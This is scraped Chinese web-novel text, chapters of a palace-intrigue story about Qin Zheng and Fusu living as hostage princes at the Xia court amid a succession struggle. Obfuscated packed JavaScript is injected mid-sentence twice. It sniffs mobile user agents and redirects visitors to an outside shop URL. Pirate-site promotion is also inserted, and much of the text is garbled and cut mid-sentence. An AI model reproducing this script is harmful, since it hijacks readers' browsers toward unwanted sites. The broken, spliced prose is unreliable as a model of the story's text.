“我们年岁小,只在启蒙阶段。太子殿下不如去瞧一瞧三哥他们,也好考较一番他们的学业。” 他在暗示,太子现在需要提防的 不该是年幼的弟弟,而是已经长成的那几个。 而且他们三个在太子跟前表现得还算乖巧,太子强行斥责只会显得自己是在欺负弟弟。 倒不如公然去隔壁,用难题考验三皇子他们。倘若他们答不上来,这不就有光明正大的借口训斥了吗? 太子觉得他说的有道理: “也罢,孤先去看看三弟他们。 说着就走了。 扶苏叹为观止: “六皇子都能忽悠他…… 六皇子也才十岁。 虽然支持嫡长继承制可以维持皇朝的稳定,大部分时候这个制度还是利大于弊的。 可现在不是大一统时期,乱世之中能力为王。 说真的,夏帝还不如培养个聪明儿子当继承人呢。不然万一他的霸业折戟沉沙了,指望太子替他完成吗? 秦政倒是看得很透: “夏帝完全不考虑自己灭三国失败,他是按照大一统挑的继承人。若是立贤,他会担忧太子篡位。 扶苏一点就透: “原来是心虚了。 夏帝自己上位就不光彩,等不及亲爹死亡直接动手了。像他这样的人,难免担忧重蹈覆辙,自己也被儿子给弑父夺位。 太子虽有些愚钝,却胜在好掌控。 只要太子还在一天,其他皇子就不能轻举妄动。除非他们想背上骂名,先弑父再杀兄。 现在这个局面就是,任何皇子想上位都困难重重。光杀夏帝没用,太子也得干掉。 可是杀一个的时候还能找借口,假装是意外死亡。夏帝和太子连续在短时间内暴毙,这个真没办法糊弄。 夏国儒学盛行,这么上位是要被戳烂脊梁骨的。在夏国名声这些比天大,就连夏帝也要为了名声妥协。 秦政淡淡地点评: “愚不可及。 怕被篡位就选个平庸的儿子,他还不如单纯是为了维持朝纲的稳定呢。 扶苏深以为然: “这么一看,即便没有了太子,二皇子也当不上储君。但没了太子,二皇子就有可能随时动手发动宫变。夏帝既然畏惧这件事,必会迅速物色好下一个人选,及时立储。 扶苏还挺好奇的,夏帝到时候会选谁。是提前预设 到太子可能会死已经想过备用人选了还是临场现挑。 前座的八和九没有去管后头两人在嘀嘀咕咕什么他们自己也在嘀嘀咕咕。 八皇子抱怨: “他没事跑来干什么?万一他身上染了疫病 九皇子十分认同: “就该叫父皇把他关起来!” 然而已经几天过去皇后宫里没有第二个发病的。太医也拿不太准只能说是时疫的概率大也有可能并不会传染。 禁足健康的太子也不像话夏帝这才没有下达这样的命令。不过听说太子祸害完二皇子之后居然跑去了上书房还是气得眼前一黑。 他心里知道太子不见得百分百没染病万一呢?万一是染病了还没发作他这是想干什么?把所有弟弟都拖下水吗? 夏帝私下里痛骂: “真是恶毒!” 太监总管赶紧劝道: “陛下息怒太子殿下虽然日日都去给皇后娘娘请安却也不见得就染了那病。娘娘身边的宫女太监都还好好的可见它并非传染病只是太医误诊了而已。” 夏帝这才气顺了一些觉得总管说的有点道理。 可他不准备就这么放过太子到底还是下诏书斥责了一番。 往日里他很少斥责对方就是为了给太子做脸。免得底下的其他儿子觉得太子也不过如此生出取而代之的大胆想法来。 今日是实在咽不下这口气而且太子也确实做得过分了些。 只是虽为斥责也不过口头说上两句。实质性的惩罚依然是没有的叫皇子们私下里很不服气。 太子也不服气觉得自己都没干什么父皇就训斥他。 他想到在学堂里表现不错的四皇子心里更怄了。四皇子母妃也得宠、自己还争气父皇会不会越过他开始看中这个弟弟? 与这件事无关的二皇子大约是最不高兴的那个。 太子欺负他的时候父皇一句话不说。太子欺负其他皇子了父皇的聋哑突然就恢复了。 呵偏心眼。 但他们的不高兴只持续了两天。 两天后太医都确定了这病不会传染重新开放了凤仪宫。结果好巧不巧太子因为同样的原因病 倒了。 夏帝当时脑子就是一嗡: “太子病倒了,其他人呢?!” 后宫娘娘们也快疯了。 那天太子特意跑去接触了所有皇子,那可是她们的心肝肉。御书房很快迎来了宫妃们的哭诉求见,希望陛下替她们的孩子做主。 可惜没见着夏帝。 夏帝命人把她们都送回宫去了,还下令宫中戒严。从今日起,各宫都不许乱跑,直到再无人染病为止。 这次怎么也得观察个十天半个月,不能再轻易下结论说病症不会传染了。 秦政父子因此迎来了长假。 倒春寒的时节不比深冬时期暖和多少,秦政早就心疼儿子日日要早起跟着他一起去进学了。 以前为了迁就身体不好的爱子,秦政都下令将早朝改为了大小朝轮换,每逢小朝会就可以多睡半个时辰。何况扶苏每月还会“请病假”几次不去,都是为了叫儿子多休息休息。 来了新世界,身体都没养好,反倒要日日早起,也不知道是否会对发育有影响。 秦政把到点苏醒的儿子抱出来喂了几碗粥,吃完又给他摁回被窝里了,让他接着睡。解禁之前他不打算再叫扶苏早起,每日睡到自然醒再说。 扶苏崽困倦地换了个姿势,乖乖又闭上了眼睛。 一直睡到中午才起床。 立春之后又飘雪,扶苏吃完饭蹲在门口玩了一会儿雪。 秦政还记得自己以前答应过儿子,每年下雪要给儿子做个小雪人,于是跟了出去。可惜这里的雪下得太小了,只能勉强捏个巴掌大的雪人凑合一下。 扶苏还挺喜欢的,伸手戳了戳。 最后这个雪人被放在了回廊的木栏杆上,身边又放了一个大一点的雪人。两个雪人排排坐,正对着外头的雪景,像是在欣赏一样。 各宫禁足的日子略显平淡,却并不无聊。外头的消息传不进来,父子俩却可以通过修改器获取最新资讯。 今天是皇后的病迟迟不见好,明天是太子的病来势汹汹。 十天过去了,一直没见着有第三个人中招。各宫松一口气的同时,也开始紧张起来。 唯独皇后和太子出事,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13254340|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也太明显了。除非皇后携带什么基因病,遗传给了太子,不然绝对是有人 对他们两个下了手。 夏帝的目光不可避免地聚焦到了贵妃和二皇子头上。 母子二人感受到了危机。 贵妃还算稳得住: “虽不知是谁下的手,不过你我并未做过什么,倒也不必惧怕。本宫经营多年,哪怕有人栽赃嫁祸,也有的是法子洗脱嫌疑。 贵妃并不担心自己被锤死,她能爬到这个位置,靠的可不仅仅是夏帝的宠爱,还有她的手腕。 二皇子点了点头: “母妃所言有理,依您看,这次是哪一家下手了? 贵妃眉头紧蹙: “这件事太奇怪了。 不是她,就得是其他排名高的妃嫔。 可是三皇子和他的生母贤妃脑子都不太好使,从上次他们被四皇子母子耍得团团转就能看出来。 四皇子倒是有一些可能,他生母昭仪背后还有丞相。保不齐就是想害了太子之后撺掇陛下另立储君,到时候哪怕二皇子居长也不怕。 没有嫡子的情况下确实需要立长,可他们这不是对皇后也下手了?后位空了出来,就可以再立一个新的皇后,出现新的嫡子了。 二皇子压低声音: “说句难听的,若是母妃动手,完全不必杀害皇后娘娘。 皇后不死,她就会一直占着后位。除了太子之外没有别的嫡子,那么局面才会对贵妃最有利,论长谁也高不过二皇子去。 别看皇后之前还有个养子七皇子,都没记入名下,不算的。哪怕她失去太子之后幡然醒悟,准备培养养子,也迟了。 先不说七皇子那性子能不能掰回来,就算可以,之前皇后把人养成了那样,夏帝还真不一定乐意将七皇子再交给她教养。 二皇子对自己还是挺有自信的: “没有嫡子,父皇自然会选我。 他觉得自己又有能力又居长,只要除掉太子,夏帝没有理由不培养他。丞相和四皇子估计就是这么想的,才非要把皇后一并除掉。 贵妃觉得昭仪在痴心妄想: “就她,还想当上皇后,让她儿子被立为太子? 一无圣宠,二无位分。 昭仪虽然也是高位,却比不得妃位,尤其是更高的四妃之位。 她拿什么争? 光靠一个丞相可不够陛下必然会忌惮他们前朝后宫联合。继后、太子和丞相拧成一股绳陛下怕要寝食难安。 二皇子的想法与母亲一致: “何况昭仪擢升成皇后也跳跃得太多了。不像母妃本就距离皇后一步之遥。” 贵妃觉得这把稳了。 昭仪母子聪明反被聪明误 贵妃笑容加深: “陛下是圣明天子自然能看出其中的猫腻明辨是非。” 她很了解夏帝知道夏帝看似不管后宫这些事情遇到宫妃争宠互相陷害也从不深入调查。 那只是因为懒得管并不代表他查不出来也不代表他没看出某些人的猫腻。 夏帝从来都不是傻子相反他非常敏锐。 这次的事情不是小事想必夏帝不会继续姑息。他绝对要查个水落石出任何人的小手段都无所遁形。 贵妃觉得自己只要等着就行了。 其他各宫的妃嫔倒是和贵妃看法相左她们觉得事情八成是贵妃干的。就算查不出贵妃如何动的手只看最大受益人是谁也能确定真凶。 昭仪同四皇子说: “贵妃这招倒是毒辣若她能把自己摘出去不露一丝一毫的马脚事情可就不好办了。” 四皇子面色难看: “可明眼人都能瞧出是她干的!” 昭仪微微一笑: “不错大家都能瞧出可就是抓不住她的把柄又能拿她怎么样呢?” 四皇子见母妃还能笑得出来实在是烦躁。他都心急如焚了母妃难道就不着急吗? 昭仪呷了一口茶: “有什么好着急的?皇后母子不该比我们更着急?何况你背后还有你表舅支持你你怕什么?” 四皇子想到丞相表舅神情松弛了一些。 他很快意识到母妃想做什么: “您是要挑拨皇后和贵妃相争?” 昭仪唇角的笑容加深: “若是皇后知道自己和太子时日无多已经无药可救了你猜她会做出什么事情来?” 皇后一定会咬死了贵妃。 她才不管有没有 证据,没有证据更得把贵妃母子毁了,不然等自己死后一切好处都得落到贵妃母子手里。 皇后咽不下这口气,怕是死也要拖贵妃一起死吧! 昭仪放下茶盏: “这件事,我们还得推波助澜一二,这样才能确保皇后一定会在临死前把贵妃给带下去。” 四皇子深以为然地点头。 眼看皇后和太子都好不了了,想趁机浑水摸鱼的不在少数。 大多都是冲着贵妃去的,也有人悄悄给其他有子妃嫔泼脏水,但远不如讨伐贵妃的声势浩大。 贵妃自己也知道处境艰难,越发小心翼翼起来。宫中筛了一遍又一遍,解决掉了不少眼线奸细,那些人都仿佛是在做无用功。 扶苏每天吃瓜看戏好不热闹。 今天谁谁谁给贵妃下毒,明天谁谁谁安排人去皇后的贴身婢女身边嚼舌根,后天又是谁谁谁找人揭发了某个宫妃曾经做过的恶事。 质子所住的秦阁像是独立在后宫之外的地区,完全不受这些事情侵扰。也没有人有闲心把时间浪费在他们身上,全都兴奋地等着分蛋糕。 完全不需要父子俩做什么,局势就已经乱成了一锅粥,但总体还是在向着他们想要的方向发展。 秦政每日都会看一看剧透。 倘若发展偏离,他便会出手干预。不过目前为止还没偏离,也就用不着使用修改器了。 扶苏察觉到不对: “太顺利了。” 秦政早就意识到了这一点: “毕竟夏帝也在引导。” 他们的目标和夏帝是一样的,都要借此机会废了二皇子。 之前说过,夏帝不会让聪明的二皇子当上太子,那样会威胁到他的皇位。 然而夏帝不肯,不代表二皇子一点上位的可能性都没有。所以父子二人该防备的时候还是要防备,决定尽早把人收拾掉。 现在就是个好机会。 夏帝确实知道贵妃没出手,皇后母子的事情不是她干的。 但那又如何? 皇后和太子说到底只是夏帝维朝堂持稳定的工具人,这对母子不行可以换下一对,就是麻烦了一点。 夏帝确实想查出真凶,却不是为了还皇后母子一个公道。纯粹是他很不满有人 第 222 章 大新闻 第222章大新闻 最近天气越发热了。 虽然夏帝很不幸地还是没有解决物价飞涨的问题,但因为飞涨的是奢侈品又不是生活必需品,其实对整个大夏的影响还是不大的。 除了贵族日子难过,其他都还好。 部分贵族想过哄抬其他物价,比如粮价、布价。毕竟眼看着就无法从其余贵族手里把亏损赚回来,难免将目光投射到数量庞大的庶民身上。 庶民手里的钱少归少,数量也不足。可那么多人加起来,就是一笔相当可观的资金了。 可惜,庶民自给自足惯了,要买的东西其实不多。粮食大多是自家产的,布料贵了那就不做新衣服,反正他们也习惯了穿着破破烂烂。 算来算去,似乎只能从盐价上下手。 巧的是,不少贵族家里还真掌握着盐场。尤其是临海的海国,海国商人里大半都沾手了制盐生意,这不正好? 结果他们这边盐价一抬,那头就冒出不少民间私自制盐的情况。 夏国并没有将盐收归官营,方便了贵族的同时,也方便了庶民们。 要知道在后世的王朝是不许百姓私自制盐的,因为官府还要靠着高价卖盐来收隐形税。要是都能自己制作,官府的盐不就卖不出去了? 高高在上的贵族们哪里能想到,庶民竟然能掌握利用粪坑边的土地制作粪盐的法子。 人民群众的智慧是无穷的,可别以为人家都是傻子。 这法子虽然埋汰了点,可提炼出来的盐除了带点杂质,确实可以食用。 虽然这种硝酸盐吃多了对身体不好,但想想当前的制盐水平,从其他地方得到的盐也没有比它好到哪里去。 要不怎么称之为“毒盐”呢? 这一回夏国商人们学聪明了,不再孤军奋战。提前商量好价格,才能避免互相打价格战互坑。 于是各地盐铺统一进行了抬价。 这一下子可就触到夏帝的霉头了。 你们贵族间互坑他不管,手伸到庶民里那不成。庶民日子过不下去,他这个帝王的皇位难道就能坐得稳? 夏帝很快出手惩治了那些商人。 这批商人里其实并不是全都被 炭坑过大笔银钱的有一部分海国商人跟着吃过卖炭的红利。之前就被警告过这次立刻滑跪把盐价调了回去。 盟友里有人背刺统一价格搞垄断自然也就进行不下去了。哪怕他们能顶着夏帝的压力继续折腾也架不住市场上盐价不同庶民会去买低价的那些。 反扑中道崩殂。 众人意识到了夏帝的底线不再把注意打到庶民身上。 不过事情到了这里各家也开始冷静下来了。 自家的亏损说到底是流入了炭商的口袋里一味地去从其他人身上坑钱其实坑不到多少。若想回血真正应该找的目标是之前大赚了一笔的炭商。 那么炭商是有什么必买的物品而他们这些“受害者”可以联合起来抬价反坑回去的吗? 暂时没想到却也叫这些人都消停了。 他们开始闭门琢磨短期内不会再出来折腾。之前飞涨的物价也渐渐回落市场慢慢恢复正轨。 夏帝:…… 他之前费劲调控物价一点用都没有。现在随便发个火倒是有了意外之喜这不是显得他很没用? 扶苏比他还意外呢: “居然真叫夏帝把局面掰回来了。” 秦政拿走了他喝到一半的冰水: “夏帝中途下旨训斥了他们他们便从热血上头中冷静了下来。” 这一冷静就意识到自己之前的应对有问题只是在无意义地内耗。 不过能达成这个情况也多亏了做生意的本就是贵族而贵族则多多少少都在朝中任职。不然夏帝一个君王特意下旨训斥寻常商户很容易显得小题大做。 秦政觉得这个应对只能说一般。 国家制度有漏洞夏帝不去修补 像这样涉及到整个行业的事情也不该随便下个训斥的旨意。直接釜底抽薪颁布新政策才是上上之选。 秦政不太看得惯如今夏国的情况觉得缺少许多规范。大家行事都有些随心所欲不仅是律法不够完善官方建议的执行标准也没有一个。 哪怕不用法律强行规定某个商品必须定价多少至少也得给出指导意见 ,建议价格定在哪个区间里。 超过区间,再由官府出面警告,屡教不改可以吊销营业许可。 想到这里,秦政顿了顿。 营业许可证是什么东西?他在哪儿听来的?怎么没有印象? 扶苏却趁着父亲走神悄悄伸手去够那碗还没被碧月拿远的冰水。 秦政立刻回神捉住他的小手: “不许再喝了。 虽是果子露,却加了不少冰片。扶苏身体虚弱,吃太多凉的要拉肚子。 扶苏眼巴巴盯着那个碗: “我才喝了半碗,好浪费。 秦政干脆伸手拿过去,一口饮尽: “现在不浪费了。 扶苏:……可恶! 碧月忍着笑取来鲜榨的果汁: “小公子喝这个吧,虽没加冰,却也清凉解渴。 其实并不清凉。 这个天气,常温的水都是带点温度的。如果把一盆水放在太阳底下晒,能晒到足够人傍晚洗澡的热度。 果汁虽是放在室内,却也没好多少。怕扶苏着凉,屋子里没敢用太多的冰,冰盆只有角落里放了几个。 扶苏喝了一口就推开了。 秦政也不管他: “一会儿将井水中凉过的瓜切些过来,那个你可以稍微多吃点。 碧月取出帕子,给扶苏擦了擦额头的汗珠,又说起最近新制了夏装,才拿去清洗晾晒。 她哄道: “等晾干了就可以换了,比现在这一身轻薄得多。 扶苏有气无力地点点头: “那就好。 没到下午衣服就已经晾干了。 自从扶苏住到秦阁来后,贴身衣物就没再送去浣衣坊洗,只把中衣和外衣送了过去。 是以衣服就晾在院后,小太监们时常去检查一下,发现干透了就急急忙忙过来通知碧月姐姐。果然得了赏钱,也不枉他们顶着大太阳来回奔波。 碧月取了晒好的水进屋,带扶苏去里间擦洗了一下身上的汗渍。一身干爽地换上了新衣,确实舒服了不少。 秦政见儿子出来,看了一眼: “这衣裳就在阁内穿,莫要穿出去了。 扶苏穿的是丝绸制作的衣裳。 真丝的衣服会比后世的冰丝面料还凉爽一些,非常适合夏日穿着。但质子不好穿得太张扬,哪怕丝绸在皇宫的主位们眼里压根不是什么稀罕货。 夏国的这群人,就爱看质子落魄低调,过得只比庶民好上一点。 扶苏坐回父亲身边: “之前的衣裳穿着不太舒服。” 秦政立刻拧起了眉: “怎么现在才说?” 他险些忘了,他家太子有多娇气。之前的衣裳布料是粗糙了些,哪怕外衣不好穿丝绸面料,里衣却不影响。 扶苏无辜地看着父亲: “我忘了。” 神兽之躯抗造,不会再出现扶苏以前那种动不动过敏的小毛病。再加上扶苏经历过的世界太多,身体已经渐渐习惯了那些艰苦条件。 所以不舒服的衣服也能凑合穿,早不是当年的娇气太子了。 秦政头疼地揉了揉眉心: “下回有哪里不舒服,早些说。” 秦政不明白,他就十年没和儿子相处,他家太子怎么变得这么能吃苦了。他特意娇养大的孩子,是想叫儿子人生过得一帆风顺的,而不是让他被人欺负的。 扶苏感觉自己解释不清楚了。 他这十年真的没有被人欺负呀! 接下来,扶苏被阿父拉着问了一大堆事,问得扶苏自己脑子都木了。终于回答完了最后一个关于“枕头是不是有些硌脑袋”,才被放过。 扶苏以为结束了。 结果一扭头看见他爹又开始问碧月,追问那些扶苏自己没去记的细节。最后列了长长一串清单,让碧月去找人淘换掉阁内的不少东西。 几天后,扶苏眼睁睁看着大家忙忙碌碌。今天把床单被罩换了,明天把桌椅物件改了,一刻不消停。 扶苏便去问父亲: “这样会不会动作太大了?” 他们可是在别人的皇宫里待着,夏帝盯着他们呢。 秦政扫了一眼四周: “朕有成算。” 之前秦政觉得生活条件还凑合,便不着急改动,多在夏帝跟前装一装懦弱,也好叫夏帝掉以轻心。 如今既然知道了儿子过得不舒心,自然不能继续这么下去。所以他就在夏帝的眼线跟前表露出了一 些“得势便猖狂 一个失势时唯唯诺诺、得势后嚣张跋扈的质子,对夏帝来说很好拿捏。 两天前扶苏上午睡懒觉那会儿,秦政被夏帝传唤过去交谈了片刻。 话题的内容也不复杂,就是夏帝暗示他秦王已经放弃了他这个儿子。如果他想过上人上人的好日子,就得帮夏国干事,夏国可以扶他上位。 夏帝意味深长地说: “没有朕、没有夏国的支持,你什么都不是。 这是在警告秦政不要以后当上了秦王就翻脸不认人,夏国能捧他上去,自然也能将他给摔下来,他最好认清现实。 这次的谈话,秦政的表现在夏帝看来很不错。他想塑造的人设,夏帝完美领悟到了。 于是秦阁的待遇一下子上了好几个档次,而现在这架势,只是个开胃菜。 几天后,夏帝派了一队人来给屋内更换陈设。说是现在的这些布置,配不上秦国公子的身份,得换。 太监总管亲自来监督,倒不是来给秦政做脸的,而是来替夏帝给质子洗脑的。 他笑眯眯地说: “陛下原还想给你们换个更好的宫室,不过既然公子不愿意,那便算了。这些新换的家具摆件都是极好的,公子瞧瞧,您可喜欢? 前些天就特意安排了人来询问质子想要什么样的新陈设,秦政竟也不客气,狮子大开口往狠了要。 夏帝倒是不吝啬那点外物。 舍不得孩子套不着狼,能用这东西养大质子的胃口也好。这里头不少都是他们夏国产出的,秦国可没有。 夏帝巴不得秦政多暴露出一些弱点,这样才好拿捏。 秦政熟练地应付太监总管。 扶苏意识到父亲想做什么,主动配合起来。他像个被宠坏了的不懂事小孩,要这要那,时不时问一句太监总管,什么什么东西有没有给他们送。 扶苏的态度过于理直气壮: “我看八皇子就有,我也想要! 太监总管被噎住了。 秦政还在那里说: “应该有的,若是没有,叫公公再派人去取就是了。 太监总管:…… 果然熊孩子都有熊家长宠。 陛下原还担心两个质子关系太好以后若是各自回国继位难免联手。如今看来两个蠢货联手也没用加起来都没有他们陛下一人圣明。 太监总管回去回禀了此事。 夏帝的疑心病又犯了: “果真如此?该不是装的吧?” 以前那么安静 太监总管想了想: “陛下有所不知他们往日里可不是真正的安静。” 质子的事情一般是报告给他的不是大事他就不会拿来烦陛下。尤其是这小半年来陛下十分忙碌更没空了解这些了。 太监总管举了几个例子: “陛下别看他们平日里不冒头私底下小动作不少。那秦国质子自从被您培养后便有人提前交好给他送了银钱。” 夏帝眉头一皱就要斥责这么大的事情怎么不告诉他。那些贵族真是胆大包天、不知所谓敢背着他结交质子。 随即想起来这件事太监总管说过。 只是那个时候他正为皇后和太子的事情焦头烂额听完就丢开了。似乎还下令让人去查不记得查出来的结果如何。 看样子应该没什么问题。 太监总管也是这么说的: “奴去问过了那些都是在秦国有产业的。他们想着先和质子打好关系日后便可以借势将产业扩大。” 夏帝顿时了然。 夏国人的商道产业扩张了挤压的自然是秦国人的市场份额。这对夏国有利无害难怪太监总管睁一只眼闭一只眼。 秦政和宫外的来往次数多了肯定是瞒不住的。与其等夏人来查引起夏帝的警惕不如主动暴露。 所以他安排了这一出让嬴家递进来的东西混在这些里头就显得不那么起眼了。即便日后夏帝发现了也不会觉得有什么问题。 夏帝只会认为秦国来的嬴家是看出了质子会被支持回国继位。嬴家大本营在秦国当然要和秦国下一任君王交好。 太监总管继续说: “他们起先只是试探着送点银钱后来就越送越多。逢年过节都有贿赂送进来有些还会送礼。” 这待遇和宫里受宠的高位娘娘都差不多了只不过一个求的是日后发财另 一个求的是吹夏帝的耳旁风。 夏帝思忖片刻: “收礼越来越多,在外时倒是没有把那些好东西放出来,看来是惧怕会被旁人瞧见。但私下里,应当早就用上了吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375637|110713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太监总管点了点头: “冬日里那会儿,他们可没少用钱买炭和加餐。还有些零碎的东西,也都摆出来用了。” 特意提到那些东西,言下之意就是它们用起来其实是有点逾制的。不是逾了公子身份,而是逾了质子这个身份。 秦政原来没想那么早就暴露自己得势后“猖狂”的一面,为着儿子才调整了计划。这倒是问题不大,早一点晚一点都差不多。 夏帝通过太监总管理顺了思路。 原来质子一直都有小动作,只是先前没敢闹到明面上。 是他最近觉得时机差不多了,又见那质子有些心思浮动,特意挑明了自己的打算,质子才彻底不再收敛。 那就没事了。 夏帝不以为意地说: “既如此,他要什么,你们就随着他的心意来。只要不是特别逾制的,也不必阻拦。” 夏帝认为,用点身外之物就能把人养废,实在是再划算不过。 秦王把他儿子送过来,不论到底是怀着什么心思,是真的臣服还是阳奉阴违,都不要紧。只要他把控住了秦国质子,一切就会顺着他的心意发展。 夏帝给秦阁多配备了一些宫人。 甚至加设了一个小厨房,调了两个御厨过去。 扶苏吃上了规格比往日高得多的餐食,都快比肩太子待遇了。而且由于大夏作风奢靡,这待遇远超秦国君主的水准。 扶苏看着三十几盘的菜肴: “阿父当初好像也没这么奢侈。” 别说他阿父了,他都没这么奢侈。要不是他胃口大,一盘菜吃一口就得饱了,夏国可真是有钱。 御厨是新来的,也不清楚质子的口味。把拿手菜都做了一份送来,请两位公子品鉴一二,给个准话。 扶苏以为他们得到准话后,以后做三餐就会正常做了。结果下一顿还是这么多菜,只不过上来的菜品换了。 扶苏不由感慨: “他们居然会做这么多道不重样的菜肴。” 每天想 菜色都得想到头秃吧? 结果扶苏高看他们了,他很快发现每天的早餐是一样的,午餐是一样的,晚餐也是一样的,只不过早午晚各自不同。 就那近百道菜,反反复复地做,御厨是懂偷懒的。 不过想想菜品的数量,又能理解了。不然还真要他们一个月三十天不重复?那也太为难人了。 倒是碧月去问过,回来说道: “下个月就有新菜色了。 这菜是根据时令来的,有些食材过季了,对应的菜肴自然得替换成新的。 秦政对吃饭没什么意见: “膳房那边叫碧星他们盯着点,莫要让人动了手脚。 秦阁里侍奉的宫人越来越多,难免有不少来历不明的。膳房那些也不一定就靠得住,不过总比每日从大膳房叫餐安全。 他们应该没有得罪人,不至于被针对性报复。 碧月点头: “公子放心,奴婢省得。 小膳房的出现在夏天看来用处不大,但等到冬日就很有用了。往常冬日里大膳房送来的饭菜都没什么热气了,实在离得太远。 如今能吃上热乎的,秦政还算满意。他叮嘱碧月去问太医要了食补的方子,交给膳房照着做。 基本都是些点心茶饮,以前做起来不方便,秦阁里就一个小炉子能温一温吃食、煮点茶。 扶苏临睡前有牛乳喝了。 夏国人喝不惯这个,容易拉肚子。所以份例里虽然有牛乳羊乳,一般也是拿去做成点心的。 这东西多,使点银子就能买来,哪怕供扶苏日日喝也供得起。尤其最近天热容易放坏,膳房很乐意把多出来用不完的牛乳便宜点卖给秦阁。 扶苏是西北人,祖上还是游牧起家,无论是喝牛乳还是吃牛羊肉,都非常适应。他从小在王宫里就是这么吃的,反而觉得夏国的口味不是很合胃口。 碧月最初不太赞同给小公子喝这个。 结果公子喝完活蹦乱跳,夜间居然当真睡得更好了。碧月一时有些怀疑,她们小公子确实是渊国人,而不是秦国或者蛮国来的吗? 扶苏喝奶喝得浑身奶味。 天气稍微转凉后,之前因为疫病、守孝、酷暑等种种原因,停了许久的上书房重新开启了 。 虽说停了课,但皇子们可不会闲着。停课只是代表皇子不用去上书房学了,实际上先生还是要每日来给他们上课,换成上门讲课而已。 正好皇子们都住在一块,对先生来说也不算是困扰。夏帝挑了个空着的宫室给他们当学殿,这几个月该学的都在学。 只有质子没去。 一开始是各宫戒严不让乱跑,后头就是秦政心疼儿子不肯去了。反正夏帝也没发话,他们就假装课彻底停了,问就是不方便往皇子们的居所赶。 开什么玩笑?这么热的天,夏帝都不让他自己的儿子们去上书房进学了,他们这些质子难道就要顶着大太阳出门学习吗? 秦政是不干的。 去了也是继续启蒙,这学不上也罢。留在家里他还能教教儿子深奥的东西,父亲的本事扶苏还没全部学完呢。 可惜最近恢复了上书房的课程,扶苏没法继续窝在家中偷懒。不得不被迫每日早起,跟着阿父出门进学。 大半年前,扶苏还是个小矮个。现在他已经长高了不少,不好再像之前那样被父亲抱来抱去了。 秦政还有些遗憾: “朕的阿苏又长大了。 他家太子总是长得太快,不给他留充足的时间享受养崽的乐趣。 不过这段时间伙食越来越好后,秦政发现自己个头窜得比扶苏还快。可见公子正也亏了身子,父子俩都在进补。 夏宫中很懂享受,稍微地位高点的人都有车舆坐。不像后头有些朝代,只能坐轿子,还得高位妃嫔才有资格。 大秦其实也有这方面的规定。 但大秦更偏爱车舆,基本不用轿撵。秦政经常想起来就给儿女们赐车舆,方便他们在宫中往来。 车舆虽比轿撵颠簸些,却不容易因为轿夫踩滑而摔倒。有了弹簧等更具优越性的减震措施后,在平整的宫道上坐车也很舒服。 ——车里还能放点太子爱吃的零食和爱玩的玩具。 扶苏打着哈欠跟着父亲上车,上去之后就靠着父亲开始睡回笼觉。马车轱辘辘地往前走着,速度不快不慢,声音却颇有规律,很是催眠。 秦政往他嘴里塞了块糕点。 方才扶苏因为困倦,没吃多少早膳,等去了上书房就不让吃了。先 说更新,记住域名qiexs⒗(请来企鹅小 说 看最新章节 完整章节) 第 223 章 秦王的局 第223章秦王的局 下属们都很不能理解,为什么那些暗探要自曝身份。哪怕听说了夏蛮两国要联手进攻渊国,也不至于昏了头做出这样的选择。 还有直接找上鸿胪寺要求参加这次的宴会,也是个很奇葩的操作,正常人无法理解他们的脑回路。 秦政又不能说这是修改器蒙蔽了他们的理智,只能假作不知。回了句此事与他无关,便糊弄了过去。 确实与他无关,干坏事的是扶苏。 扶苏还在旁边偷乐: “渊王大概会是最后一个知道自己派了使臣来夏国的人。” 秦政没忍住笑了一声: “你还好意思说。” 原本只有一队蛮国使者的话,还不一定会把质子都叫去,可能只会叫上蛮国王子。现在既然渊国使者也来了,总不好把渊国质子藏着,得叫渊人看看他们公子过得如何。 所以两国质子都得去,那就不能只留个秦国质子在一边,要叫不如一起叫。 来传讯的小太监提醒: “二位公子赶紧换身衣裳吧。” 秦政起身:“稍等。” 夏帝不希望他们穿得寒酸,让人觉得夏国亏待质子。他们得换一身华贵的衣服过去,但也不能太华贵,把剩下的蛮国质子衬托得灰头土脸。 秦政特意叫了婢女中那名被皇帝派来的眼线,让她去取衣裳。 他自己不能挑,挑得不合适了连累夏国丢脸,夏帝要不高兴。挑得太合适了显得过于聪明,之前立的人设要崩。 扶苏笑容不变: “都这种时候了,还不忘试探。” 夏帝的疑心病是够重的。 等父子俩换好衣服乘车舆抵达目的地时,已经过去两刻钟了。好悬赶在开宴前抵达,迅速被引到位置上坐下。 扶苏感受到有人在看他。 扭头寻过去,就见一队穿着比他还华丽的人。从外表上看,和夏国人区别不大,不像另一边的蛮国使团有明显区别于中原的外貌特征。 那队人似乎有点激动,很想和扶苏说点什么。但此刻不是说话的好时机,只能努力按捺下去。 扶苏收回视线,假装自己只是个什么都不 懂的小孩,脑子里只有吃吃喝喝。 扶苏拿起桌上的杯子。 修改器没有挑出任何提示,可见杯中的果饮没有问题。扶苏端起来喝了一口,又吃了一些洗切好的果点。 满殿唯独他一个敢现在就动筷子,其他人都在耐心等夏帝出场。 看向扶苏的火热视线很快就带上了一些嫌弃和失望,不过依然充满期待,还是想要和他私下里聊一聊。 扶苏就确定了自己的猜测。 这群渊国使者并不关心他这位公子过得如何,之所以激动,也不过是想从扶苏这里打探一些消息而已。 因而他们会嫌弃扶苏上不得台面,失望于扶苏不够聪明、可能无法帮助渊国提供足够的情报。但那群人没得选,于是依旧对单独交谈充满期待。 